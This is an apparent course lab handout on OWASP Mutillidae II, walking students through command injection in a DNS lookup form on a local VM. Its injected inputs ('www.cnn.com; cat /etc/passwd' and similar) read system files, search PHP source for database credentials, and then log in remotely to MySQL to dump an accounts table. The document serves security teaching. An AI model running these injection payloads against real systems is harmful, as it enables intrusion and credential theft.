Mutillidae - Lesson 2 - Command Injection Database Interrogation PDF

12/4/2016 Mutillidae: Lesson 2: Command Injection Database Interrogation
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(Mutillidae: Lesson 2)

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Section 0. Background Information resources & bandwidth

What Mutillidae?
OWASP Mutillidae II is a free, open source, deliberately vulnerable
webapplication providing a target for websecurity enthusiast.
What is Command Injection?
Command Injection occurs when an attacker is able to run operating
system commands or serverside scripts from the web application. This
vulnerability potential occurs when a web application allows you to
commonly do a nslookup, whois, ping, traceroute and more from their
webpage. You can test for the vulnerability by using a technique
called fuzzing, where a ";" or "|" or "||" or "&" or "&&" is append to
the end of the expected input (eg., www.cnn.com) followed by a command
(eg., cat /etc/passwd).
What is Fuzzing?
Fuzz testing or fuzzing is a software testing technique that involves
providing invalid, unexpected, or random data to the inputs of a
computer program. The program is then monitored for exceptions such as
crashes, or failing builtin code assertions or for finding potential
memory leaks. Fuzzing is commonly used to test for security problems
in software or computer systems.
PreRequisite Lab
1. Mutillidae: Lesson 1: How to Install Mutillidae in Fedora 14
Note: Remote database access has been turned to provide an
additional vulnerability.
2. BackTrack: Lesson 1: Installing BackTrack 5 R1
Note: This is not absolutely necessary, but if you are a computer
security student or professional, you should have a BackTrack VM.
Lab Notes
In this lab we will do the following:
1. Exploit a command injection/execution fuzzing vulnerability.
2. Operating System Reconnaissance
3. Application home directory Reconnaissance
4. Database Reconnaissance
5. Encoding PHP Script to view contents
6. Remotely connecting to database
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Section 1: Configure Fedora14 Virtual Machine Settings
1. Start VMware Player
Instructions
1. For Windows 7
1. Click Start Button
2. Search for "vmware player"
3. Click VMware Player
2. For Windows XP
Starts > Programs > VMware Player
2. Edit Fedora Mutillidae Virtual Machine Settings
Instructions:
1. Highlight Fedora14 Mutillidae
2. Click Edit virtual machine settings
3. Edit Network Adapter
Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Click the OK Button
Section 2: Login to Fedora14 Mutillidae
1. Start Fedora14 VM Instance
Instructions:
1. Start Up VMWare Player
2. Select Fedora14 Mutillidae
3. Play virtual machine
2. Login to Fedora14 Mutillidae
Instructions:
1. Login: student
2. Password: <whatever you set it to>.
Section 3: Open Console Terminal and Retrieve IP Address
1. Start a Terminal Console
Instructions:
1. Applications > Terminal
2. Switch user to root
Instructions:
1. su root
2. <Whatever you set the root password to>
3. Get IP Address
Instructions:
1. ifconfig a
Notes (FYI):
As indicated below, my IP address is 192.168.1.111.
Please record your IP address.
Section 4: Configure BackTrack Virtual Machine Settings
1. Start VMware Player
Instructions
1. For Windows 7
1. Click Start Button
2. Search for "vmware player"
3. Click VMware Player
2. For Windows XP
Starts > Programs > VMware Player
2. Edit the BackTrack5R1 VM
Instructions:
1. Select BackTrack5R1 VM
2. Click Edit virtual machine settings
3. Edit Virtual Machine Settings
Instructions:
1. Click on Network Adapter
2. Click on the Bridged Radio button
3. Click on the OK Button
Section 5: Play and Login to BackTrack
1. Play the BackTrack5R1 VM
Instructions:
1. Click on the BackTrack5R1 VM
2. Click on Play virtual machine

2. Login to BackTrack
Instructions:
1. Login: root
2. Password: toor or <whatever you changed it to>.
3. Bring up the GNOME
Instructions:
1. Type startx
Section 6: Open Console Terminal and Retrieve IP Address
1. On BackTrack, Start up a terminal window
Instructions:
1. Click on the Terminal Window

2. Obtain the IP Address
Instructions:
1. ifconfig a
Note(FYI):
My IP address 192.168.1.109.
In your case, it will probably be different.
This is the machine that will be use to attack the victim machine
(Metasploitable).
Section 7: Start Web Browser Session to Mutillidae
1. On BackTrack, Open Firefox
Instructions:
1. Click on the Firefox Icon
Notes (FYI):
If FireFox Icon does not exist in the Menu Bar Tray, then go to
Applications > Internet > Firefox Web Browser
2. Open Mutillidae
Notes (FYI):
Replace 192.168.1.111 in the following URL >
http://192.168.1.111/mutillidae, with your Mutillidae's IP Address
obtained from (Section 3, Step 3)
Instructions:
1. http://192.168.1.111/mutillidae
Section 8: Basic Command Execution Testing
1. Go to DNS Lookup
Instructions:
1. OWASP Top 10 > A2 Cross Site Scripting (XSS) > Reflected
(First Order) > DNS Lookup
2. Test DNS Lookup
Notes(FYI):
DNS Lookup on the surface is design to do just that,,, provide a
DNS Lookup.
Instructions:
1. Hostname/IP: www.cnn.com
2. Click the Lookup DNS button
3. View your Results

3. Test DNS Lookup Vulnerability
Notes(FYI):
Now we will test a security vulnerable that will let us append a
Unix/Linux command to the end of the hostname we are looking up.
The procedure of appending a ";" after what the application
expects, is called command fuzzing.
Below you will run the "uname a" command
Instructions:
1. Hostname/IP: www.cnn.com; uname a
4. Perform Reconnaissance
Notes(FYI):
Don't you think it would be nice to know where there particular
web page application is running from?
Now we are going to run the "pwd" to show us the current working
directory.
Also, notice in the Address Bar that the application is called
dnslookup.php
Instructions:
1. Hostname/IP: www.cnn.com; pwd
4. Notice that dnslookup.php is the vulnerable program.
5. Interrogate the dnslookup.php application
Notes(FYI):
Just for grins, let's see if we can find the line of code where
PHP is executing a system call.
I will use the xargs command to search, using egrep, for the
following strings: exec OR system OR virtual.
Instructions:
1. Hostname/IP:
www.cnn.com; find /var/www/html/muĕllidae ‐name "dns‐lookup.php" | xargs egrep '(exec|system|virtual)'
Notice there is a function called shell_exec(), that is
actually executing the Linux command "nslookup".

Section 9: Database Reconnaissance
1. Discover the Database Engine using the /etc/passwd file
Notes(FYI):
Let's search the /etc/passwd file for the following strings:
postgres, sql, db2 and ora.
Instructions:
1. Hostname/IP:
www.cnn.com; cat /etc/passwd | egrep ‐i '(postgres|sql|db2|ora)'
MySQL is the database engine
2. Discover the Database Engine using the "ps" command
Notes(FYI):
Let's use the "ps" command to search for the following process
strings: postgres, sql, db2 and ora.
Instructions:
1. Hostname/IP:
www.cnn.com; ps eaf | egrep i '(postgres|sql|db2|ora)'
The mysqld (daemon) is running.
Section 10: Database Interrogation
1. List all php scripts
Notes(FYI):
Our next step is to try to figure out if any of the php scripts
located under /var/www/html/mutillidae contain a database username
and password.
But, first list all the php scripts.
Instructions:
1. Hostname/IP:
www.cnn.com; find /var/www/html/mutillidae name "*.php"
There is over 900+ php scripts.
2. Search php scripts for the string password
Notes(FYI):
Now we will search the 900+ php scripts for the string "password"
and "=".
Instructions:
1. Hostname/IP:
www.cnn.com; find /var/www/html/muĕllidae ‐name "*.php" | xargs grep ‐i "password"
| grep "="
3. View your Results (Continue to next step).
3. Obtain password from search results
Notes(FYI):
Now you have to look closely to see the string password and the
actual password "samurai".
Instructions:
1. Notice that the MySQLHandler.php contains the following string:
$mMySQLDatabasePassword = "samurai";
4. Search MySQLHandler.php for the strings user OR login
Notes(FYI):
We now know that MySQLHandler.php contains the database password.
The only thing left it to obtain the database username for the
password samarai.
Instructions:
1. Hostname/IP:
www.cnn.com; find /var/www/html/muĕllidae ‐name "MySQLHandler.php" | xargs egrep ‐i '(user|login)' |
grep "="
5. Obtain username from search results
Instructions:
1. Notice that the MySQLHandler.php contains the following string:
$mMySQLDatabaseUsername = "root";
2. Notice the MySQL connection method.
mMySQLConnecĕon = new mysqli($HOSTNAME, $USERNAME,
$SAMURAI_WTF_PASSWORD);
6. Display MySQLHandler.php
Notes(FYI):
I guess I could have showed you this first, but good things come
to those that wait.
It is possible to display the contents of the MySQLHandler.php
program, by encoding the "<?php" and "?>" tags. These tags tell
apache to execute a php script. To get around this problem and
just display the text of the program, we change "<" to "&#60;" and
">" to "&#62;".
Instructions:
1. Hostname/IP:
www.cnn.com; find /var/www/html/mutillidae name "MySQLHandler.php" | xargs cat | sed 's/</\&#60;/g' | sed
's/>/\&#62;/g'
7. Viewing the Code
Notes(FYI):
Kind of scary,,, right?
Typically, you should never put authentication information into a
program that accesses a database on the web.
Instructions:
1. Database Username
static public $mMySQLDatabaseUsername = "root";
2. Database Password
static public $mMySQLDatabasePassword = "samurai";
3. Database Name
static public $mMySQLDatabaseName = "nowasp";
Section 11: Connect Remotely to MySQL
1. On BackTrack, Open a Terminal
Instructions:
1. Click on the Terminal Icon

2. Connect Remotely to the Mutillidae Database
Notes(FYI):
Replace 192.168.1.111 with your Mutillidae's IP Address obtained
from (Section 3, Step 3)
Instructions:
1. mysql h 192.168.1.111 uroot psamurai
2. show databases;
3. use nowasp;
3. Table Navigation
Notes(FYI):
Basically, we are looking for a table that contains username and
password information.
In this case, the account table contain the authentication
information.
Instructions:
1. show tables;
2. desc accounts;
4. Display Account Table Records
Instructions:
1. select * from accounts;
2. quit;
Section 12: Proof of Lab
1. Proof of Lab
Notes(FYI):
Replace 192.168.1.111 with your Mutillidae's IP Address obtained
from (Section 3, Step 3)
Instructions:
1. cd
2. mysql ‐h 192.168.1.111 ‐uroot ‐psamurai ‐e "select * from nowasp.accounts" >
account.txt
3. ls l account.txt
4. date
5. echo "Your Name"
Replace the string "Your Name" with your actual name.
e.g., echo "John Gray"
Proof of Lab Instructions
1. Press both the <Ctrl> and <Alt> keys at the same time.
2. Do a <PrtScn>
3. Paste into a word document
4. Upload to Moodle

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12/4/2016 Mutillidae: Lesson 2: Command Injection Database Interrogation

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